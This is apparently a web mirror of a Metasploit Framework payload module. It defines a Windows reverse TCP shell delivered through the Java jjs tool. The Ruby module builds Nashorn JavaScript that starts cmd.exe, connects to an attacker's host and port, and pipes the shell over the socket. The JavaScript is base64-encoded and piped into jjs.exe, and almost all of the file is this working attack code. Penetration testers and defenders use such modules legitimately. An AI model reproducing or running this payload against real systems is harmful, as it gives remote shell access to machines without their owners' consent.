Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/cmd/windows/jjs_reverse_tcp.rb
19567 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
CachedSize = 867
8
9
include Msf::Payload::Single
10
include Msf::Sessions::CommandShellOptions
11
12
def initialize(info = {})
13
super(
14
merge_info(
15
info,
16
'Name' => 'Windows Shell, Reverse TCP (via jjs)',
17
'Description' => 'Connect back and create a command shell via jjs',
18
'Author' => [
19
'conerpirate', # jjs reverse shell
20
'bcoles' # metasploit
21
],
22
'References' => [
23
['URL', 'https://gtfobins.github.io/gtfobins/jjs/'],
24
['URL', 'https://cornerpirate.com/2018/08/17/java-gives-a-shell-for-everything/'],
25
['URL', 'https://h4wkst3r.blogspot.com/2018/05/code-execution-with-jdk-scripting-tools.html']
26
],
27
'License' => MSF_LICENSE,
28
'Platform' => 'win',
29
'Arch' => ARCH_CMD,
30
'Handler' => Msf::Handler::ReverseTcp,
31
'Session' => Msf::Sessions::CommandShell,
32
'PayloadType' => 'cmd',
33
'RequiredCmd' => 'jjs',
34
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
35
)
36
)
37
register_options([
38
OptString.new('SHELL', [ true, 'The shell to execute.', 'cmd.exe' ]),
39
OptString.new('JJS_PATH', [true, 'The path to the JJS executable', 'jjs.exe'])
40
])
41
end
42
43
def generate
44
return super + command_string
45
end
46
47
def command_string
48
lhost = Rex::Socket.is_ipv6?(datastore['LHOST']) ? "[#{datastore['LHOST']}]" : datastore['LHOST']
49
jcode = %{
50
var ProcessBuilder=Java.type("java.lang.ProcessBuilder");
51
var p=new ProcessBuilder("#{datastore['SHELL']}").redirectErrorStream(true).start();
52
var ss=Java.type("java.net.Socket");
53
var s=new ss("#{lhost}",#{datastore['LPORT']});
54
var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
55
var po=p.getOutputStream(),so=s.getOutputStream();
56
while(!s.isClosed()){
57
while(pi.available()>0)so.write(pi.read());
58
while(pe.available()>0)so.write(pe.read());
59
while(si.available()>0)po.write(si.read());
60
so.flush();
61
po.flush();
62
Java.type("java.lang.Thread").sleep(50);
63
try{p.exitValue();break;}catch(e){}
64
};
65
p.destroy();s.close();
66
}
67
minified = jcode.split("\n").map(&:lstrip).join
68
69
%{echo eval(new java.lang.String(java.util.Base64.decoder.decode('#{Rex::Text.encode_base64(minified)}'))); | #{datastore['JJS_PATH']}}
70
end
71
end
72
73